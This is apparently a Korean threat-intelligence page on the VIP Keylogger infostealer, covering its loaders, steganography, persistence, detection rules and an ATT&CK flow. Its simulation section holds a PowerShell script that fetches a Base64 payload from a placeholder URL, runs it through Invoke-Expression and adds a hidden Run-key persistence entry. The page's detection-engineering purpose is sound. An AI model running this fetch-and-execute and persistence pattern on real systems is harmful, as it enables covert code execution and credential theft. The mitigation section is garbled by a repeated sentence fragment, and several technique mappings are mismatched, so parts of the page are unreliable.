VIP 키로거와 그 다층적 회피 전술
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
VIP Keylogger는 은행 결제 알림 사칭과 같은 피싱 유인을 통해 전달되는 모듈식 정보 탈취 위협입니다. 이 악성코드는 난독화된 VBS, JavaScript, 또는 배치 기반 로더에 의존하며, PNG 이미지 스테가노그래피와 환경 변수를 악용하여 최종 키로거를 실행하기 전 PowerShell 단계를 숨깁니다. 활성화되면 악성 코드는 자격 증명, 스크린샷, 클립보드 내용, Wi-Fi 비밀번호를 캡처하고 여러 명령 및 제어 채널을 통해 데이터를 탈취합니다. 탐지 노력은 의심스러운 레지스트리 변경, 비정상적인 환경 변수 값, 스크립트 실행에서 바이너리 페이로드로의 비정상적인 전환에 집중해야 합니다.
조사
Splunk 위협 연구팀은 2026년 3월과 4월에 수집된 200개 이상의 로더 샘플을 검토하여 이들의 이름 패턴, 로더 변형 및 페이로드 전달을 위한 PNG 파일의 스테가노그래픽 사용을 문서화했습니다. 연구자들은 디옵스큐레이션 과정을 재현하고 INTERNAL_DB_CACHE 환경 변수를 악용하여, UserInitMprLogonScript 레지스트리 키에 대한 지속성을 추적했습니다. 이 보고서는 탐지 엔지니어링을 지원하기 위해 관찰된 각 행동을 관련 MITRE ATT&CK 기술과 매핑했습니다.
완화
조직은 더욱 강력한 이메일 보안 제어와 URL 필터링을 통해 초기 피싱 시도를 차단해야 합니다. 방어자는 특히 과도하게 큰 항목이나 HKCUEnvironment 변수를 사용하는 값을 감시하고, 사용자 쓰기 가능한 디렉토리에서 스크립트 기반 로더 실행을 제한하며, 가능한 경우 PowerShell 제한된 언어 모드를 시행해야 합니다. 엔드포인트 보안 도구는 또한 INTERNAL_DB_CACHE 및 수상한 및 수상한 활동에 대한 프로세스 주입을 탐지해야 합니다. 활동에 대한 프로세스 주입을 탐지해야 합니다. activity.
대응
VIP Keylogger 지표가 감지되면, 영향을 받은 호스트를 격리하고 휘발성 메모리 및 최근의 프로세스 실행 로그를 수집하며 알려진 레지스트리 아티팩트, PNG 기반 명령 및 제어 URL 및 드롭된 파일을 탐색하십시오. 악성 스크립트는 제거하고 노출된 자격 증명은 재설정하며 관련 로더 아티팩트 및 지속성 메커니즘에 대한 보다 광범위한 검사를 환경 전반에 걸쳐 실행해야 합니다.
“graph TB
%% Class definitions
classDef action fill:#99ccff
classDef technique fill:#ffcc99
classDef operator fill:#ff9900
%% Nodes
initial_access[“Action – T1566 Phishing
Malicious .vbs/.js/.bat delivered via email”]
class initial_access action
execution[“Action – T1059.005 Visual Basic, T1059.007 JavaScript, T1059.001 PowerShell
Script stagers executed on the host”]
class execution action
obfuscation[“Action – T1027.016 Junk Code Insertion, T1027.003 Steganography, T1027.009 Embedded Payloads
Payloads hidden or disguised”]
class obfuscation action
persistence[“Action – T1574.007 Hijack Execution Flow via Registry Logon Script (UserInitMprLogonScript)
T1037.001 Boot Logon Init Script
Ensures code runs at logon”]
class persistence action
priv_esc[“Action – T1055.002 Process Injection PE, T1055.001 DLL Injection, T1620 Reflective Code Loading
Escalates privileges and evades defenses”]
class priv_esc action
credential_access[“Action – T1555.003 Browser Data, T1056.001 Keylogging, T1115 Clipboard Hijacking
Collects user credentials”]
class credential_access action
discovery[“Action – T1596.005 External IP Discovery via public services
T1016.002 Wi-Fi Password Discovery
Gathers network information”]
class discovery action
collection[“Action – T1113 Screen Capture
Collects visual data from the desktop”]
class collection action
c2[“Action – T1071.001 Web Protocols and Telegram bot API
Provides remote command and control”]
class c2 action
defense_evasion[“Action – T1070.004 File Deletion, T1070.010 Indicator Removal
Removes evidence after operation”]
class defense_evasion action
%% Connections showing attack flow
initial_access –>|leads_to| execution
execution –>|leads_to| obfuscation
obfuscation –>|leads_to| persistence
persistence –>|leads_to| priv_esc
priv_esc –>|leads_to| credential_access
credential_access –>|leads_to| discovery
discovery –>|leads_to| collection
collection –>|leads_to| c2
c2 –>|leads_to| defense_evasion
“
공격 흐름
탐지
가능한 IP 조회 도메인 통신 시도 (DNS를 통해)
보기
가능한 지속성 포인트 [ASEPs – Software/NTUSER Hive] (레지스트리 이벤트를 통해)
보기
숨겨진 PowerShell 명령 라인을 통한 실행 가능성 (cmdline을 통해)
보기
LOLBAS WScript / CScript (프로세스 생성을 통해)
보기
수상한 PowerShell 문자열 (PowerShell을 통해)
보기
.NET 메서드를 PowerShell에서 호출 (PowerShell을 통해)
보기
명령 및 제어 채널로서의 텔레그램 남용 가능성 (dns_query를 통해)
보기
탐지해야 할 IOCs (HashSha256): VIP Keylogger의 계층화된 방어 회피
보기
VIP Keylogger PowerShell 실행 환경 변수 [Windows PowerShell]
보기
VIP Keylogger 레지스트리 수정 지속성 [Windows Registry Event]
보기
시뮬레이션 실행
전제 조건: 모니터링 및 기준 미리 검사 통과 필요.
이유: 이 섹션은 탐지 규칙을 유도하도록 설계된 적대 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 분석을 생성하도록 목표합니다. 추상적이거나 관련 없는 예시는 오진을 초래할 것입니다.
-
공격 내러티브 및 명령:
- 초기 정찰 – 공격자는
Get-ADDomain(T1016.002)를 실행하여 도메인 신뢰 관계를 발견합니다. - 페이로드 획득 –
Invoke-WebRequest(T1071.001)를 사용하여 공격자는 Base64로 인코딩된 DLL을 다운로드하여 키로거를 구현합니다 (T1056.001). - 환경 변수를 통한 스테이징 – 다운로드된 문자열은 사용자 레벨 환경 변수에 저장됩니다
[Environment]::SetEnvironmentVariable. 이 단계는 환경 변수 조작에 중점을 둔 탐지 규칙을 충족시킵니다. - 동적 실행 – 공격자는 즉시
Invoke-Expression $env:VIPPayload(T1059.001)을 실행합니다. 키로거는 키 입력, 스크린샷(T1113) 및 클립보드 데이터(T1115) 캡처를 시작합니다. - 정리 단계 – 지속성이 확립된 후(e.g., Run 키 생성, T1037.001), 공격자는 임시 DLL을 디스크에서 삭제하고(T1070.004) 환경 변수를 제거하여 포렌식 발자국을 줄입니다.
- 초기 정찰 – 공격자는
-
회귀 테스트 스크립트: 다음 스크립트는 정확한 단계를 재현하고 Sigma 규칙이 기대하는 원격 분석을 생성합니다.
# VIP Keylogger 시뮬레이션 – PowerShell # ------------------------------------------------- # 1. 더미 페이로드 다운로드 (Base64 인코딩된 문자열) $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. 페이로드를 사용자 수준 환경 변수에 저장 $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Invoke-Expression을 통해 페이로드 디코딩 및 실행 $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4. (선택 사항) Run 키를 통한 지속성 – T1037.001 예시 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5. 정리 – 환경 변수 및 Run 키 항목 제거 Start-Sleep -Seconds 30 # 일부 활동이 로깅되도록 허용 Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
정리 명령: 테스트 후 시스템을 깨끗한 상태로 되돌리기 위해 다음 명령을 실행하십시오.
# 테스트를 위해 생성된 환경 변수 제거 [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # 존재할 경우 지속성 Run 키 항목 삭제 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # 잔류 PowerShell 히스토리 항목 제거 (선택 사항) Clear-History